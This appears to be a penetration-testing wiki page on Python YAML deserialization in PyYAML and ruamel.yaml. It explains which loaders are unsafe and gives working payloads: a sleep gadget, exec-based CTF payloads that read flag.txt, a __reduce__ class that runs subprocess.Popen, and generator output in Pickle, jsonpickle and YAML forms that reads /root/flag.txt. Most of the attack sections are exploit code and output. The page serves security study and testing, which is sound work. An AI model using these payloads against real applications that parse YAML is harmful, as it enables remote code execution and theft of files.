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# Python Yaml Deserialization ## Yaml **Deserialization** **Yaml** python libraries is also capable to **serialize python objects** and not just raw data: ``` print(yaml.dump(str("lol"))) lol ... print(yaml.dump(tuple("lol"))) !!python/tuple - l - o - l print(yaml.dump(range(1,10))) !!python/object/apply:builtins.range - 1 - 10 - 1 ``` Check how the **tuple** isn’t a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins). ![](<../../.gitbook/assets/image (628) (1).png>) **safe\_load()** or **safe\_load\_all()** uses SafeLoader and **don’t support class object deserialization**. Class object deserialization example: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:builtins.range [1, 10, 1]' print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10) print(yaml.load(data, Loader=Loader)) #range(1, 10) print(yaml.load_all(data)) # print(yaml.load_all(data, Loader=Loader)) # print(yaml.load_all(data, Loader=UnsafeLoader)) # print(yaml.load_all(data, Loader=FullLoader)) # print(yaml.unsafe_load(data)) #range(1, 10) print(yaml.full_load_all(data)) # print(yaml.unsafe_load_all(data)) # #The other ways to load data will through an error as they won't even attempt to #deserialize the python object ``` The previous code used **unsafe\_load** to load the serialized python class. This is because in **version >= 5.1**, it doesn’t allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader. ### Basic Exploit Example on how to **execute a sleep**: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:time.sleep [2]' print(yaml.load(data, Loader=UnsafeLoader)) #Executed print(yaml.load(data, Loader=Loader)) #Executed print(yaml.load_all(data)) print(yaml.load_all(data, Loader=Loader)) print(yaml.load_all(data, Loader=UnsafeLoader)) print(yaml.load_all(data, Loader=FullLoader)) print(yaml.unsafe_load(data)) #Executed print(yaml.full_load_all(data)) print(yaml.unsafe_load_all(data)) ``` ### Vulnerable .load("\") without Loader **Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)` You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is: ```yaml !!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec ``` Or you could also use this **one-liner provided by @ishaack**: ```yaml !!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]} ``` Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack. ## RCE Kindly note payload creation can be done with **any python YAML module (PyYAML or ruamel.yaml), in the same way**. The same payload can exploit both YAML module or any module based on PyYAML or ruamel.yaml ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader import subprocess class Payload(object): def __reduce__(self): return (subprocess.Popen,('ls',)) deserialized_data = yaml.dump(Payload()) # serializing data print(deserialized_data) #!!python/object/apply:subprocess.Popen #- ls print(yaml.load(deserialized_data, Loader=UnsafeLoader)) print(yaml.load(deserialized_data, Loader=Loader)) print(yaml.unsafe_load(deserialized_data)) ``` ### Tool to create Payloads The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:** ```bash python3 peas.py Enter RCE command :cat /root/flag.txt Enter operating system of target [linux/windows] . Default is linux :linux Want to base64 encode payload ? [N/y] : Enter File location and name to save :/tmp/example Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All Done Saving file !!!! cat /tmp/example_jspick {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]} cat /tmp/example_pick | base64 -w0 gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg== cat /tmp/example_yaml !!python/object/apply:subprocess.Popen - !!python/tuple - cat - /root/flag.txt ``` ## References For more in depth information about this technique read: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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